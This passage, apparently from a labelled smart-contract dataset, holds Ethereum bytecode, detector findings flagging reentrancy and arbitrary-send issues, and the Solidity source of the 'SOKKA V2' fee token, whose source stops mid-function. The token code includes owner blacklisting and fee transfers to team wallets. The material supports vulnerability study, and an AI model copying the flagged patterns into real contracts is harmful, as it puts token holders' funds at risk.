05050506040513d601f19601f820116820180604052508101906108969190612abd565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061091f30610c23565b60008061092a610dc7565b426040518863ffffffff1660e01b815260040161094c9695949392919061305a565b6060604051808303818588803b15801561096557600080fd5b505af1158015610979573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061099e9190612ca5565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550678ac7230489e800006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610aa0929190613031565b602060405180830381600087803b158015610aba57600080fd5b505af1158015610ace573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af29190612c53565b5050565b60006009905090565b610b07611411565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b906131d8565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bf2611411565b73ffffffffffffffffffffffffffffffffffffffff1614610c1257600080fd5b6000479050610c2081611e07565b50565b6000610c6d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f02565b9050919050565b610c7c611411565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d00906131d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4b42490000000000000000000000000000000000000000000000000000000000815250905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e6e611411565b73ffffffffffffffffffffffffffffffffffffffff1614610e8e57600080fd5b8015610f4257426312cc030042610ea591906133ce565b11610ee5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edc90613198565b60405180910390fd5b6001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f92565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690555b7ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d8282604051610fc3929190613008565b60405180910390a15050565b6000610fe3610fdc611411565b84846115e4565b6001905092915050565b610ff5611411565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611082576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611079906131d8565b60405180910390fd5b60005b8151811015611139576001600b60008484815181106110cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611131906135ae565b915050611085565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661117e611411565b73ffffffffffffffffffffffffffffffffffffffff161461119e57600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661123a611411565b73ffffffffffffffffffffffffffffffffffffffff161461125a57600080fd5b600061126530610c23565b905061127081611f70565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661133b611411565b73ffffffffffffffffffffffffffffffffffffffff161461135b57600080fd5b6000811161139e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139590613178565b60405180910390fd5b6113cf620186a06113c18368056bc75e2d6310000061226a90919063ffffffff16565b6122e590919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6011546040516114069190613298565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611489576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148090613238565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f090613138565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115d79190613298565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611654576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164b90613218565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb906130f8565b60405180910390fd5b60008111611707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fe906131f8565b60405180910390fd5b61170f610dc7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177d575061174d610dc7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ce057601060179054906101000a900460ff16156119b0573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117ff57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118595750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118b35750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119af57600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118f9611411565b73ffffffffffffffffffffffffffffffffffffffff16148061196f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611957611411565b73ffffffffffffffffffffffffffffffffffffffff16145b6119ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a590613278565b60405180910390fd5b5b5b6011548111156119bf57600080fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a635750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a6c57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b175750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b6d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b855750601060179054906101000a900460ff165b15611c265742600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611bd557600080fd5b607842611be291906133ce565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611c3130610c23565b9050601060159054906101000a900460ff16158015611c9e5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611cb65750601060169054906101000a900460ff165b15611cde57611cc481611f70565b60004790506000811115611cdc57611cdb47611e07565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d9157600090505b611d9d8484848461232f565b50505050565b6000838311158290611deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de291906130d6565b60405180910390fd5b5060008385611dfa91906134af565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e576002846122e590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e82573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ed36002846122e590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611efe573d6000803e3d6000fd5b5050565b6000600754821115611f49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4090613118565b60405180910390fd5b6000611f5361235c565b9050611f6881846122e590919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611fce577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611ffc5781602001602082028036833780820191505090505b509050308160008151811061203a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120dc57600080fd5b505afa1580156120f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121149190612abd565b8160018151811061214e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121b530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611419565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122199594939291906132b3565b600060405180830381600087803b15801561223357600080fd5b505af1158015612247573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b60008083141561227d57600090506122df565b6000828461228b9190613455565b905082848261229a9190613424565b146122da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d1906131b8565b60405180910390fd5b809150505b92915050565b600061232783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612387565b905092915050565b8061233d5761233c6123ea565b5b61234884848461241b565b80612356576123556125e6565b5b50505050565b60008060006123696125f8565b9150915061238081836122e590919063ffffffff16565b9250505090565b600080831182906123ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c591906130d6565b60405180910390fd5b50600083856123dd9190613424565b9050809150509392505050565b60006009541480156123fe57506000600a54145b1561240857612419565b60006009819055506000600a819055505b565b60008060008060008061242d8761265a565b95509550955095509550955061248b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256c8161276a565b6125768483612827565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125d39190613298565b60405180910390a3505050505050505050565b60026009819055506004600a81905550565b60008060006007549050600068056bc75e2d63100000905061262e68056bc75e2d631000006007546122e590919063ffffffff16565b82101561264d5760075468056bc75e2d63100000935093505050612656565b81819350935050505b9091565b60008060008060008060008060006126778a600954600a54612861565b925092509250600061268761235c565b9050600080600061269a8e8787876128f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061270483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611da3565b905092915050565b600080828461271b91906133ce565b905083811015612760576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275790613158565b60405180910390fd5b8091505092915050565b600061277461235c565b9050600061278b828461226a90919063ffffffff16565b90506127df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61283c826007546126c290919063ffffffff16565b6007819055506128578160085461270c90919063ffffffff16565b6008819055505050565b60008060008061288d606461287f888a61226a90919063ffffffff16565b6122e590919063ffffffff16565b905060006128b760646128a9888b61226a90919063ffffffff16565b6122e590919063ffffffff16565b905060006128e0826128d2858c6126c290919063ffffffff16565b6126c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612910858961226a90919063ffffffff16565b90506000612927868961226a90919063ffffffff16565b9050600061293e878961226a90919063ffffffff16565b905060006129678261295985876126c290919063ffffffff16565b6126c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061299361298e8461334d565b613328565b905080838252602082019050828560208602820111156129b257600080fd5b60005b858110156129e257816129c888826129ec565b8452602084019350602083019250506001810190506129b5565b5050509392505050565b6000813590506129fb816139b4565b92915050565b600081519050612a10816139b4565b92915050565b600082601f830112612a2757600080fd5b8135612a37848260208601612980565b91505092915050565b600081359050612a4f816139cb565b92915050565b600081519050612a64816139cb565b92915050565b600081359050612a79816139e2565b92915050565b600081519050612a8e816139e2565b92915050565b600060208284031215612aa657600080fd5b6000612ab4848285016129ec565b91505092915050565b600060208284031215612acf57600080fd5b6000612add84828501612a01565b91505092915050565b60008060408385031215612af957600080fd5b6000612b07858286016129ec565b9250506020612b18858286016129ec565b9150509250929050565b600080600060608486031215612b3757600080fd5b6000612b45868287016129ec565b9350506020612b56868287016129ec565b9250506040612b6786828701612a6a565b9150509250925092565b60008060408385031215612b8457600080fd5b6000612b92858286016129ec565b9250506020612ba385828601612a40565b9150509250929050565b60008060408385031215612bc057600080fd5b6000612bce858286016129ec565b9250506020612bdf85828601612a6a565b9150509250929050565b600060208284031215612bfb57600080fd5b600082013567ffffffffffffffff811115612c1557600080fd5b612c2184828501612a16565b91505092915050565b600060208284031215612c3c57600080fd5b6000612c4a84828501612a40565b91505092915050565b600060208284031215612c6557600080fd5b6000612c7384828501612a55565b91505092915050565b600060208284031215612c8e57600080fd5b6000612c9c84828501612a6a565b91505092915050565b600080600060608486031215612cba57600080fd5b6000612cc886828701612a7f565b9350506020612cd986828701612a7f565b9250506040612cea86828701612a7f565b9150509250925092565b6000612d008383612d0c565b60208301905092915050565b612d15816134e3565b82525050565b612d24816134e3565b82525050565b6000612d3582613389565b612d3f81856133ac565b9350612d4a83613379565b8060005b83811015612d7b578151612d628882612cf4565b9750612d6d8361339f565b925050600181019050612d4e565b5085935050505092915050565b612d91816134f5565b82525050565b612da081613538565b82525050565b6000612db182613394565b612dbb81856133bd565b9350612dcb81856020860161354a565b612dd481613684565b840191505092915050565b6000612dec6023836133bd565b9150612df782613695565b604082019050919050565b6000612e0f602a836133bd565b9150612e1a826136e4565b604082019050919050565b6000612e326022836133bd565b9150612e3d82613733565b604082019050919050565b6000612e55601b836133bd565b9150612e6082613782565b602082019050919050565b6000612e78601d836133bd565b9150612e83826137ab565b602082019050919050565b6000612e9b6001836133bd565b9150612ea6826137d4565b602082019050919050565b6000612ebe6021836133bd565b9150612ec9826137fd565b604082019050919050565b6000612ee16020836133bd565b9150612eec8261384c565b602082019050919050565b6000612f046029836133bd565b9150612f0f82613875565b604082019050919050565b6000612f276025836133bd565b9150612f32826138c4565b604082019050919050565b6000612f4a6024836133bd565b9150612f5582613913565b604082019050919050565b6000612f6d6017836133bd565b9150612f7882613962565b602082019050919050565b6000612f906011836133bd565b9150612f9b8261398b565b602082019050919050565b612faf81613521565b82525050565b612fbe8161352b565b82525050565b6000602082019050612fd96000830184612d1b565b92915050565b6000604082019050612ff46000830185612d1b565b6130016020830184612d1b565b9392505050565b600060408201905061301d6000830185612d1b565b61302a6020830184612d88565b9392505050565b60006040820190506130466000830185612d1b565b6130536020830184612fa6565b9392505050565b600060c08201905061306f6000830189612d1b565b61307c6020830188612fa6565b6130896040830187612d97565b6130966060830186612d97565b6130a36080830185612d1b565b6130b060a0830184612fa6565b979650505050505050565b60006020820190506130d06000830184612d88565b92915050565b600060208201905081810360008301526130f08184612da6565b905092915050565b6000602082019050818103600083015261311181612ddf565b9050919050565b6000602082019050818103600083015261313181612e02565b9050919050565b6000602082019050818103600083015261315181612e25565b9050919050565b6000602082019050818103600083015261317181612e48565b9050919050565b6000602082019050818103600083015261319181612e6b565b9050919050565b600060208201905081810360008301526131b181612e8e565b9050919050565b600060208201905081810360008301526131d181612eb1565b9050919050565b600060208201905081810360008301526131f181612ed4565b9050919050565b6000602082019050818103600083015261321181612ef7565b9050919050565b6000602082019050818103600083015261323181612f1a565b9050919050565b6000602082019050818103600083015261325181612f3d565b9050919050565b6000602082019050818103600083015261327181612f60565b9050919050565b6000602082019050818103600083015261329181612f83565b9050919050565b60006020820190506132ad6000830184612fa6565b92915050565b600060a0820190506132c86000830188612fa6565b6132d56020830187612d97565b81810360408301526132e78186612d2a565b90506132f66060830185612d1b565b6133036080830184612fa6565b9695505050505050565b60006020820190506133226000830184612fb5565b92915050565b6000613332613343565b905061333e828261357d565b919050565b6000604051905090565b600067ffffffffffffffff82111561336857613367613655565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133d982613521565b91506133e483613521565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613419576134186135f7565b5b828201905092915050565b600061342f82613521565b915061343a83613521565b92508261344a57613449613626565b5b828204905092915050565b600061346082613521565b915061346b83613521565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134a4576134a36135f7565b5b828202905092915050565b60006134ba82613521565b91506134c583613521565b9250828210156134d8576134d76135f7565b5b828203905092915050565b60006134ee82613501565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061354382613521565b9050919050565b60005b8381101561356857808201518184015260208101905061354d565b83811115613577576000848401525b50505050565b61358682613684565b810181811067ffffffffffffffff821117156135a5576135a4613655565b5b80604052505050565b60006135b982613521565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156135ec576135eb6135f7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f7800000000000000000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139bd816134e3565b81146139c857600080fd5b50565b6139d4816134f5565b81146139df57600080fd5b50565b6139eb81613521565b81146139f657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e54132ffbd813b7453976cc59af566597a66078ed24dc1be19e1ca81044d37c564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,682
0x9ce7c00701ed01c43c1c44b3d196922ceb9f4469
/** //SPDX-License-Identifier: UNLICENSED Sokka Relaunch, v1 had issues regarding taxes and tokenomics. Telegram: https://t.me/SokkaETH Twitter: https://twitter.com/SokkaToken Website: https://sokkaeth.com */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SOKKA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isExcludedFromLimit; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public swapThreshold = 100_000_000 * 10**9; uint256 private _reflectionFee = 0; uint256 private _teamFee = 5; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "SOKKA V2"; string private constant _symbol = "SOKKA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap; bool private swapEnabled; bool private cooldownEnabled; uint256 private _maxTxAmount = 20_000_000_000 * 10**9; uint256 private _maxWalletAmount = 40_000_000_000 * 10**9; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address wallet1, address wallet2) { _feeAddrWallet1 = payable(wallet1); _feeAddrWallet2 = payable(wallet2); _rOwned[_msgSender()] = _rTotal; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[_feeAddrWallet1] = true; isExcludedFromFee[_feeAddrWallet2] = true; isExcludedFromLimit[owner()] = true; isExcludedFromLimit[address(this)] = true; isExcludedFromLimit[address(0xdead)] = true; isExcludedFromLimit[_feeAddrWallet1] = true; isExcludedFromLimit[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) { require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit"); } if (!isExcludedFromLimit[to]) { require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit"); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 